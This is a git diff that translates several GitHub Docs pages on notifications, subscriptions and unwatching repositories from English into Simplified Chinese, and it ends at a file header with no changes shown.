diff --git a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md
index 9e22e31814..c513009657 100644
--- a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md
+++ b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing subscriptions and notifications on GitHub
-intro: 'You can specify how to receive notifications, the repositories you are interested in, and the types of activity you want to hear about.'
+title: 在 GitHub 上管理订阅和通知
+intro: 您可以指定如何接收通知，您感兴趣的仓库，以及您想要听到的活动类型。
 redirect_from:
   - /categories/76/articles
   - /categories/notifications
@@ -17,6 +17,6 @@ children:
   - /setting-up-notifications
   - /viewing-and-triaging-notifications
   - /managing-subscriptions-for-activity-on-github
-shortTitle: Subscriptions & notifications
+shortTitle: 订阅和通知
 ---
 
diff --git a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md
index f989cb9be2..23699310ab 100644
--- a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md
+++ b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md
@@ -1,6 +1,6 @@
 ---
-title: Managing your subscriptions
-intro: 'To help you manage your notifications efficiently, there are several ways to unsubscribe.'
+title: 管理订阅
+intro: 为帮助您有效地管理通知，提供了多种取消订阅的方法。
 versions:
   fpt: '*'
   ghes: '*'
@@ -11,66 +11,63 @@ topics:
 redirect_from:
   - /github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions
   - /github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions
-shortTitle: Manage your subscriptions
+shortTitle: 管理您的订阅
 ---
-To help you understand your subscriptions and decide whether to unsubscribe, see "[Viewing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions)."
+
+为帮助您了解您的订阅和决定是否取消订阅，请参阅“[查看您的订阅](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions)”。
 
 {% note %}
 
-**Note:** Instead of unsubscribing, you have the option to ignore a repository. If you ignore a repository, you won't receive any notifications. We don't recommend ignoring repositories as you won't be notified if you're @mentioned. {% ifversion fpt or ghec %}If you're experiencing abuse and want to ignore a repository, please contact {% data variables.contact.contact_support %} so we can help. {% data reusables.policies.abuse %}{% endif %}
+**注：**您可以选择忽略仓库，而不取消订阅。 如果忽略仓库，将不会收到任何通知。 我们不建议忽略仓库，因为这样您被@提及时将不会收到通知。 {% ifversion fpt or ghec %}如果您遇到滥用并且想忽略某个仓库，请联系 {% data variables.contact.contact_support %} 获取帮助。 {% data reusables.policies.abuse %}{% endif %}
 
 {% endnote %}
 
-## Choosing how to unsubscribe
+## 选择如何取消订阅
 
-To unwatch (or unsubscribe from) repositories quickly, go to the "Watched repositories" page, where you can see all repositories you're watching. For more information, see "[Unwatch a repository](#unwatch-a-repository)."
+要快速取消关注（或取消订阅）仓库，请转到“Watched repositories（已关注仓库）”页面，您可以在该页面查看您当前关注的所有仓库。 更多信息请参阅“[取消关注仓库](#unwatch-a-repository)”。
 
-To unsubscribe from multiple notifications at the same time, you can unsubscribe using your inbox or on the subscriptions page. Both of these options offer more context about your subscriptions than the "Watched repositories" page.
+要同时取消订阅多个通知，您可以使用收件箱或订阅页面上取消订阅。 相比“Watched repositories（已关注仓库）”页面，这两个选项可提供有关您的订阅的更多上下文。
 
-### Benefits of unsubscribing from your inbox
+### 从收件箱中取消订阅的优点
 
-When you unsubscribe from notifications in your inbox, you have several other triaging options and can filter your notifications by custom filters and discussion types. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)."
+在收件箱中取消订阅通知时，您还有其他一些分类选项，并且可以按自定义过滤器和讨论类型来过滤通知。 更多信息请参阅“[从收件箱管理通知](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)”。
 
-### Benefits of unsubscribing from the subscriptions page
+### 从订阅页面取消订阅的优点
 
-When you unsubscribe from notifications on the subscriptions page, you can see more of the notifications you're subscribed to and sort them by "Most recently subscribed" or "Least recently subscribed".
+在订阅页面上取消订阅通知时，您可以查看更多已订阅的通知，并且可以按“最多最近订阅”或“最少最近订阅”对它们进行排序。
 
-The subscriptions page shows you all of the notifications that you're currently subscribed to, including notifications that you have marked as **Done** in your inbox.
+订阅页面显示您当前已订阅的所有通知，包括在收件箱中标记为 **Done（完成）**的通知。
 
-You can only filter your subscriptions by repository and the reason you're receiving the notification.
+您只能按仓库和接收通知的原因过滤订阅。
 
-## Unsubscribing from notifications in your inbox
+## 在收件箱中取消订阅通知
 
-When you unsubscribe from notifications in your inbox, they will automatically disappear from your inbox.
+当您取消订阅收件箱中的通知时，它们将自动从您的收件箱中消失。
 
 {% data reusables.notifications.access_notifications %}
-1. From the notifications inbox, select the notifications you want to unsubscribe to.
-2. Click **Unsubscribe.**
-  ![Unsubscribe option from main inbox](/assets/images/help/notifications-v2/unsubscribe-from-main-inbox.png)
+1. 从通知收件箱中选择您想要取消订阅的通知。
+2. 单击 **Unsubscribe（取消订阅）**。 ![主收件箱中的取消订阅选项](/assets/images/help/notifications-v2/unsubscribe-from-main-inbox.png)
 
-## Unsubscribing from notifications on the subscriptions page
+## 从订阅页面取消订阅通知
 
 {% data reusables.notifications.access_notifications %}
-1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down to click **Subscriptions**.
-  ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png)
+1. 在左侧边栏中的仓库列表下，使用“Manage notifications（管理通知）”下拉按钮单击 **Subscriptions（订阅）**。 ![管理通知下拉菜单选项](/assets/images/help/notifications-v2/manage-notifications-options.png)
 
-2. Select the notifications you want to unsubscribe to. In the top right, click **Unsubscribe.**
-  ![Subscriptions page](/assets/images/help/notifications-v2/unsubscribe-from-subscriptions-page.png)
+2. 选择要取消订阅的通知。 在右上角单击 **Unsubscribe（取消订阅）**。 ![订阅页面](/assets/images/help/notifications-v2/unsubscribe-from-subscriptions-page.png)
 
-## Unwatch a repository
+## 取消关注仓库
 
-When you unwatch a repository, you unsubscribe from future updates from that repository unless you participate in a conversation or are @mentioned.
+当您取消关注某个仓库时，您将取消订阅该仓库的未来更新，除非您参与对话或被 @提及。
 
 {% data reusables.notifications.access_notifications %}
-1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down to click **Watched repositories**.
-  ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png)
-2. On the watched repositories page, after you've evaluated the repositories you're watching, choose whether to:
+1. 在左侧边栏中的仓库列表下，使用“Manage notifications（管理通知）”下拉按钮单击 **Watched repositories（已关注的仓库）**。 ![管理通知下拉菜单选项](/assets/images/help/notifications-v2/manage-notifications-options.png)
+2. 在关注的仓库页面上，评估您关注的仓库后，选择是否：
   {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-    - Unwatch a repository
-    - Ignore all notifications for a repository
-    - Customize the types of event you receive notifications for ({% data reusables.notifications-v2.custom-notification-types %}, if enabled)
+    - 取消关注仓库
+    - 忽略某仓库的所有通知
+    - 自定义接收通知的事件类型 （{% data reusables.notifications-v2.custom-notification-types %}，如果启用）
   {% else %}
-    - Unwatch a repository
-    - Only watch releases for a repository
-    - Ignore all notifications for a repository
+    - 取消关注仓库
+    - 只关注某仓库的发行版
+    - 忽略某仓库的所有通知
   {% endif %}
diff --git a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md
index 9d440d9c75..bb4b7612f6 100644
--- a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md
+++ b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing your subscriptions
-intro: 'To understand where your notifications are coming from and your notifications volume, we recommend reviewing your subscriptions and watched repositories regularly.'
+title: 查看订阅
+intro: 为了解通知来自何处以及通知量，建议定期查看订阅和关注的仓库。
 redirect_from:
   - /articles/subscribing-to-conversations
   - /articles/unsubscribing-from-conversations
@@ -23,65 +23,64 @@ versions:
   ghec: '*'
 topics:
   - Notifications
-shortTitle: View subscriptions
+shortTitle: 查看订阅
 ---
-You receive notifications for your subscriptions of ongoing activity on {% data variables.product.product_name %}. There are many reasons you can be subscribed to a conversation. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications#notifications-and-subscriptions)."
 
-We recommend auditing and unsubscribing from your subscriptions as a part of a healthy notifications workflow. For more information about your options for unsubscribing, see "[Managing subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)."
+接收 {% data variables.product.product_name %} 上长期活动的订阅通知。 有很多原因可能导致您订阅对话。 更多信息请参阅“[关于通知](/github/managing-subscriptions-and-notifications-on-github/about-notifications#notifications-and-subscriptions)”。
 
-## Diagnosing why you receive too many notifications
+我们建议将审核订阅和取消订阅作为健康通知工作流程的一部分。 有关取消订阅选项的更多信息，请参阅“[管理订阅](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)”。
 
-When your inbox has too many notifications to manage, consider whether you have oversubscribed or how you can change your notification settings to reduce the subscriptions you have and the types of notifications you're receiving. For example, you may consider disabling the settings to automatically watch all repositories and all team discussions whenever you've joined a team or repository.
+## 诊断收到太多通知的原因
 
-![Automatic watching](/assets/images/help/notifications-v2/automatic-watching-example.png)
+当收件箱中要管理的通知过多时，请考虑您是否订阅过多，或者如何更改通知设置以减少订阅数量和接收的通知类型。 例如，您可以考虑禁用在加入团队或仓库时自动关注所有仓库和所有团队讨论的设置。
 
-For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#automatic-watching)."
+![自动关注](/assets/images/help/notifications-v2/automatic-watching-example.png)
 
-To see an overview of your repository subscriptions, see "[Reviewing repositories that you're watching](#reviewing-repositories-that-youre-watching)." 
+更多信息请参阅“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#automatic-watching)”。
+
+To see an overview of your repository subscriptions, see "[Reviewing repositories that you're watching](#reviewing-repositories-that-youre-watching)." Many people forget about repositories that they've chosen to watch in the past. From the "Watched repositories" page you can quickly unwatch repositories. For more information on ways to unsubscribe, see "[Managing subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)."
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 {% tip %}
 
-**Tip:** You can select the types of event to be notified of by using the **Custom** option of the **Watch/Unwatch** dropdown list in your [watching page](https://github.com/watching) or on any repository page on {% data variables.product.product_name %}. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)."
+**提示：**您可以在[关注页面](https://github.com/watching)或 {% data variables.product.product_name %} 上的任何仓库页面，使用 **Watch/Unwatch（关注/取消关注）**下拉列表中的 **Custom（自定义）**选项选择要通知的事件类型。 更多信息请参阅“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)”。
 
 {% endtip %}
 {% endif %}
 
-Many people forget about repositories that they've chosen to watch in the past. From the "Watched repositories" page you can quickly unwatch repositories. For more information on ways to unsubscribe, see "[Unwatch recommendations](https://github.blog/changelog/2020-11-10-unwatch-recommendations/)" on {% data variables.product.prodname_blog %} and "[Managing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)." You can also create a triage workflow to help with the notifications you receive. For guidance on triage workflows, see "[Customizing a workflow for triaging your notifications](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications)."
+许多人忘记了他们过去选择关注的仓库。 从“Watched repositories（已关注仓库）”页面，您可以快速取消关注仓库。 有关取消订阅的方式的更多信息，请参阅 {% data variables.product.prodname_blog %} 上的“[取消关注建议](https://github.blog/changelog/2020-11-10-unwatch-recommendations/)”和“[管理订阅](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)”。 您也可以创建分类工作流程来帮助整理收到的通知。 有关分类工作流程的指导，请参阅“[自定义对通知分类的工作流程](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications)”。
 
-## Reviewing all of your subscriptions
+## 查看所有订阅
 
 {% data reusables.notifications.access_notifications %}
-1. In the left sidebar, under the list of repositories that you have notifications from, use the "Manage notifications" drop-down to click **Subscriptions**.
-  ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png)
+1. 在左侧边栏中您接收其通知的仓库列表下，使用“Manage notifications（管理通知）”下拉按钮单击 **Subscriptions（订阅）**。 ![管理通知下拉菜单选项](/assets/images/help/notifications-v2/manage-notifications-options.png)
 
-2. Use the filters and sort to narrow the list of subscriptions and begin unsubscribing to conversations you no longer want to receive notifications for.
+2. 使用过滤器和排序来缩小订阅列表，并开始取消订阅您不想再接收其通知的对话。
 
-  ![Subscriptions page](/assets/images/help/notifications-v2/all-subscriptions.png)
+  ![订阅页面](/assets/images/help/notifications-v2/all-subscriptions.png)
 
 {% tip %}
 
-**Tips:**
-- To review subscriptions you may have forgotten about, sort by "least recently subscribed."
+**提示：**
+- 要查看您可能忘记了的订阅，请按“least recently subscribed（最近最少订阅）”进行排序。
 
-- To review a list of repositories that you can still receive notifications for, see the repository list in the "filter by repository" drop-down menu.
+- 要查看您仍然可以接收其通知的仓库列表，请查看“filter by repository（按仓库过滤）”下拉菜单中的仓库列表。
 
 {% endtip %}
 
-## Reviewing repositories that you're watching
+## 查看您目前关注的仓库
 
-1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down menu and click **Watched repositories**.
-  ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png)
-2. Evaluate the repositories that you are watching and decide if their updates are still relevant and helpful. When you watch a repository, you will be notified of all conversations for that repository.
+1. 在左侧边栏中的仓库列表下，使用“Manage notifications（管理通知）”下拉菜单单击 **Watched repositories（已关注的仓库）**。 ![管理通知下拉菜单选项](/assets/images/help/notifications-v2/manage-notifications-options.png)
+2. 评估您正在关注的仓库，确定它们更新是否仍然相关和有用。 关注某仓库后，您将收到该仓库所有对话的通知。
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-  ![Watched notifications page](/assets/images/help/notifications-v2/watched-notifications-custom.png)
+  ![已关注的通知页面](/assets/images/help/notifications-v2/watched-notifications-custom.png)
 {% else %}
-  ![Watched notifications page](/assets/images/help/notifications-v2/watched-notifications.png)
+  ![已关注的通知页面](/assets/images/help/notifications-v2/watched-notifications.png)
 {% endif %}
 
   {% tip %}
 
-  **Tip:** Instead of watching a repository, consider only receiving notifications {% ifversion fpt or ghes > 3.0 or ghae or ghec %}when there are updates to {% data reusables.notifications-v2.custom-notification-types %} (if enabled for the repository), or any combination of these options,{% else %}for releases in a repository,{% endif %} or completely unwatching a repository.
-  
-  When you unwatch a repository, you can still be notified when you're @mentioned or participating in a thread. When you configure to receive notifications for certain event types, you're only notified when there are updates to these event types in the repository, you're participating in a thread, or you or a team you're on is @mentioned.
+  **提示：**不关注仓库，而是考虑仅{% ifversion fpt or ghes > 3.0 or ghae or ghec %}当 {% data reusables.notifications-v2.custom-notification-types %}（如果已对仓库启用）或这些选项的任何组合有更新、{% else %}仓库中有发布{% endif %}或完全取消关注仓库时才接收通知。
+
+  取消关注仓库后，当您被@提及或参与帖子时仍然会收到通知。 当您配置接收某些事件类型的通知时，仅在仓库中有这些事件类型的更新、您参与了线程或者您或您所在团队被 @提及时才收到通知。
 
   {% endtip %}
diff --git a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md
index 24263811ac..389d2be9bb 100644
--- a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md
+++ b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md
@@ -1,6 +1,6 @@
 ---
-title: About notifications
-intro: 'Notifications provide updates about the activity on {% data variables.product.product_location %} that you''ve subscribed to. You can use the notifications inbox to customize, triage, and manage your updates.'
+title: 关于通知
+intro: '通知提供有关您在 {% data variables.product.product_location %} 上已订阅活动的更新。 您可以使用通知收件箱来自定义、分类和管理更新。'
 redirect_from:
   - /articles/notifications
   - /articles/about-notifications
@@ -15,89 +15,90 @@ versions:
 topics:
   - Notifications
 ---
+
 {% ifversion ghes %}
 {% data reusables.mobile.ghes-release-phase %}
 {% endif %}
 
-## Notifications and subscriptions
+## 通知和订阅
 
-You can choose to receive ongoing updates about specific activity on {% data variables.product.product_location %} through a subscription. Notifications are updates that you receive for specific activity that you are subscribed to.
+您可以选择通过订阅接收有关 {% data variables.product.product_location %} 上特定活动的持续更新。 通知是您收到的已订阅特定活动的更新。
 
-### Subscription options
+### 订阅选项
 
-You can choose to subscribe to notifications for:
-- A conversation in a specific issue, pull request, or gist.
-- All activity in a repository or team discussion.
-- CI activity, such as the status of workflows in repositories set up with {% data variables.product.prodname_actions %}. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-- Repository {% data reusables.notifications-v2.custom-notification-types %} (if enabled).{% else %}
-- Releases in a repository.{% endif %}
+您可以选择订阅关于以下内容的通知：
+- 关于特定议题、拉取请求或 Gist 的对话。
+- 仓库或团队讨论中的所有活动。
+- CI 活动，例如仓库中使用 {% data variables.product.prodname_actions %} 设置的工作流程的状态。 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
+- 仓库 {% data reusables.notifications-v2.custom-notification-types %} (如果启用)。{% else %}
+- 在仓库中发布。{% endif %}
 
-You can also choose to automatically watch all repositories that you have push access to, except forks. You can watch any other repository you have access to manually by clicking **Watch**.
+您也可以选择自动关注所有您有推送访问权限的仓库，但复刻除外。 您可以通过单击 **Watch（关注）**来手动关注您有权访问的任何其他仓库。
 
-If you're no longer interested in a conversation, you can unsubscribe, unwatch, or customize the types of notifications you'll receive in the future. For example, if you no longer want to receive notifications from a particular repository, you can click **Unsubscribe**. For more information, see "[Managing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)."
+如果您的某项对话不再感兴趣，您可以取消订阅、取消关注或自定义以后接收的通知类型。 例如，如果不想再接收特定仓库的通知，您可以单击 **Unsubscribe（取消订阅）**。 更多信息请参阅“[管理订阅](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)”。
 
-### Default subscriptions
+### 默认订阅
 
-In general, you are automatically subscribed to conversations by default when you have:
-- Not disabled automatic watching for repositories or teams you've joined in your notification settings. This setting is enabled by default.
-- Been assigned to an issue or pull request.
-- Opened a pull request, issue, or created a team discussion post.
-- Commented on a thread.
-- Subscribed to a thread manually by clicking **Watch** or **Subscribe**.
-- Had your username @mentioned.
-- Changed the state of a thread, such as by closing an issue or merging a pull request.
-- Had a team you're a member of @mentioned.
+一般来说，默认在以下情况下自动订阅对话：
+- 在通知设置中未禁用自动关注您加入的仓库或团队。 此设置在默认情况下会启用。
+- 被分配了议题或拉取请求。
+- 打开了拉取请求、议题或创建了团队讨论帖子。
+- 在帖子中发表了评论。
+- 通过单击 **Watch（关注）**或 **Subscribe（订阅）**手动订阅了帖子。
+- 您的用户名被 @提及
+- 更改了帖子的状态，例如通过关闭议题或合并拉取请求。
+- 您所属的团队被 @提及。
 
-By default, you also automatically watch all repositories that you create and are owned by your user account.
+默认情况下，还会自动关注您创建的以及您的用户帐户所拥有的所有仓库。
 
-To unsubscribe from conversations you're automatically subscribed to, you can change your notification settings or directly unsubscribe or unwatch activity on {% data variables.product.product_location %}. For more information, see "[Managing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)."
+要取消订阅自动订阅的对话，您可以更改通知设置，或者直接取消订阅或取消关注 {% data variables.product.product_location %} 上的活动。 更多信息请参阅“[管理订阅](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)”。
 
-## Customizing notifications and subscriptions
+## 自定义通知和订阅
 
-You can choose to view your notifications through the notifications inbox at [https://github.com/notifications](https://github.com/notifications){% ifversion fpt or ghes or ghec %} and in the {% data variables.product.prodname_mobile %} app{% endif %}, through your email, or some combination of these options.
+您可以选择通过 [https://github.com/notifications](https://github.com/notifications){% ifversion fpt or ghes or ghec %} 上和 {% data variables.product.prodname_mobile %} 应用程序{% endif %}中的通知收件箱、电子邮件或这些选项的某些组合来查看通知。
 
-To customize the types of updates you'd like to receive and where to send those updates, configure your notification settings. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)."
+要自定义您希望接收的更新类型以及将这些更新发送至何处，请配置通知设置。 更多信息请参阅“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)”。
 
-To keep your subscriptions manageable, review your subscriptions and watched repositories and unsubscribe as needed. For more information, see "[Managing subscriptions for activity on GitHub](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github)."
+要保持订阅的可管理性，请审查您的订阅和关注的仓库，并根据需要取消订阅。 更多信息请参阅“[在 GitHub 上管理活动订阅](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github)”。
 
-To customize how you'd like to receive updates for specific pull requests or issues, you can configure your preferences within the issue or pull request. For more information, see "[Triaging a single notification](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification#customizing-when-to-receive-future-updates-for-an-issue-or-pull-request)."
+要自定义如何接收特定拉取请求或议题的更新，可以在议题或拉取请求中配置首选项。 更多信息请参阅“[对单个通知进行分类](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification#customizing-when-to-receive-future-updates-for-an-issue-or-pull-request)”。
 
 {% ifversion fpt or ghes or ghec %}
-You can customize and schedule push notifications in the {% data variables.product.prodname_mobile %} app. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#managing-your-notification-settings-with-github-mobile)."
+您可以在 {% data variables.product.prodname_mobile %} 应用程序中自定义和安排推送通知。 更多信息请参阅“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#managing-your-notification-settings-with-github-mobile)”。
 {% endif %}
 
-## Reasons for receiving notifications
+## 接收通知的原因
 
-Your inbox is configured with default filters, which represent the most common reasons that people need to follow-up on their notifications. For more information about inbox filters, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#default-notification-filters)."
+您的收件箱配置了默认过滤器，它们代表人们需要跟进通知的最常见原因。 有关收件箱过滤器的更多信息，请参阅“[从收件箱管理通知](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#default-notification-filters)”。
 
-Your inbox shows the `reasons` you're receiving notifications as a label.
+收件箱以标签形式显示您接收通知的 `reasons`。
 
-![Reasons labels in inbox](/assets/images/help/notifications-v2/reasons-as-labels-in-inbox.png)
+![收件箱中的原因标签](/assets/images/help/notifications-v2/reasons-as-labels-in-inbox.png)
 
-You can filter your inbox by the reason you're subscribed to notifications. For example, to only see pull requests where someone requested your review, you can use the `review-requested` query filter.
+您可以按订阅通知的原因过滤收件箱。 例如，要仅查看有人请求您审查的拉取请求，您可以使用 `review-requested` 查询过滤器。
 
-![Filter notifications by review requested reason](/assets/images/help/notifications-v2/review-requested-reason.png)
+![通过查看请求的原因过滤通知](/assets/images/help/notifications-v2/review-requested-reason.png)
 
-If you've configured notifications to be sent by email and believe you're receiving notifications that don't belong to you, consider troubleshooting with email headers, which show the intended recipient. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)."
+如果您已将通知配置为通过电子邮件发送，但认为您收到了不属于自己的通知，请考虑使用显示预期收件人的电子邮件标头排除故障。 更多信息请参阅“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)”。
 
-## Triaging notifications from your inbox
+## 从收件箱分类通知
 
-To effectively manage your notifications, you can triage your inbox with options to:
-- Remove a notification from the inbox with **Done**. You can review **Done** notifications all in one place by clicking **Done** in the sidebar or by using the query `is:done`.
-- Mark a notification as read or unread.
-- **Save** a notification for later review. **Saved** notifications are flagged in your inbox. You can review **Saved** notifications all in one place in the sidebar by clicking **Saved** or by using the query `is:saved`.
-- Automatically unsubscribe from this notification and future updates from this conversation. Unsubscribing also removes the notification from your inbox. If you unsubscribe from a conversation and someone mentions your username or a team you're on that you're receiving updates for, then you will start to receive notifications from this conversation again.
+为了有效地管理通知，您可以使用以下选项对收件箱进行分类：
+- 使用 **Done（已完成）**从收件箱删除通知。 您可以通过单击边栏中的 **Done（已完成）**或使用查询 `is:done` 来集中查看所有 **Done（已完成）**通知。
+- 将通知标记为已读或未读。
+- **Save（保存）**通知以供以后查看。 **Saved（已保存）**通知会标记在您的收件箱中。 您可以通过单击 **Saved（已保存）**或使用查询 `is:saved` 在边栏中集中查看所有 **Saved（已保存）**通知。
+- 自动取消订阅此通知和此对话的未来更新。 取消订阅还会从收件箱中删除通知。 如果您取消订阅了对话，但有人在此对话中提及您的用户名或您所在的团队（您正在为其接收更新），则您将再次开始接收此对话的通知。
 
-From your inbox you can also triage multiple notifications at once. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#triaging-multiple-notifications-at-the-same-time)."
+您还可以从收件箱中一次分类多个通知。 更多信息请参阅“[从收件箱管理通知](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#triaging-multiple-notifications-at-the-same-time)”。
 
-## Customizing your notifications inbox
+## 自定义通知收件箱
 
-To focus on a group of notifications in your inbox on {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} or {% data variables.product.prodname_mobile %}{% endif %}, you can create custom filters. For example, you can create a custom filter for an open source project you contribute to and only see notifications for that repository in which you are mentioned. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)." For more examples of how to customize your triaging workflow, see "[Customizing a workflow for triaging your notifications](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications)."
+要在 {% data variables.product.product_location %}{% ifversion fpt or ghes or ghec %} 或 {% data variables.product.prodname_mobile %}{% endif %} 上的收件箱中关注一组通知，您可以创建自定义过滤器。 例如，您可以为您参与的开源项目创建自定义过滤器，只查看您被提及的仓库的通知。 更多信息请参阅“[从收件箱管理通知](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)”。 有关如何自定义分类工作流程的更多示例，请参阅“[自定义对通知分类的工作流程](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications)”。
 
-## Notification retention policy
+## 通知保留策略
 
-Notifications that are not marked as **Saved** are kept for 5 months. Notifications marked as **Saved** are kept indefinitely. If your saved notification is older than 5 months and you unsave it, the notification will disappear from your inbox within a day.
+未标记为 **Saved（已保存）**的通知将保留 5 个月。 标记为 **Saved（已保存）**的通知将无限期保留。 如果已保存通知超过 5 个月后，您取消保存它，则该通知将在一天之内从收件箱中消失。
 
-## Feedback and support
+## 反馈和支持
 
-If you have feedback or feature requests for notifications, use the [feedback form for notifications](https://support.github.com/contact/feedback?contact%5Bcategory%5D=notifications&contact%5Bsubject%5D=Product+feedback).
+如果您对通知有反馈或功能请求，请使用[通知反馈表](https://support.github.com/contact/feedback?contact%5Bcategory%5D=notifications&contact%5Bsubject%5D=Product+feedback)。
diff --git a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md
index 66a0b98a87..4bc99ae8c2 100644
--- a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md
+++ b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/index.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing and triaging notifications
-intro: 'To optimize your notifications workflow, you can customize how you view and triage notifications.'
+title: 查看和分类通知
+intro: 为优化通知工作流程，您可以自定义如何查看通知以及对通知分类。
 redirect_from:
   - /articles/managing-notifications
   - /articles/managing-your-notifications
@@ -16,6 +16,6 @@ children:
   - /managing-notifications-from-your-inbox
   - /triaging-a-single-notification
   - /customizing-a-workflow-for-triaging-your-notifications
-shortTitle: Customize a workflow
+shortTitle: 自定义工作流程
 ---
 
diff --git a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md
index 0b8710d460..92b4101fe9 100644
--- a/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md
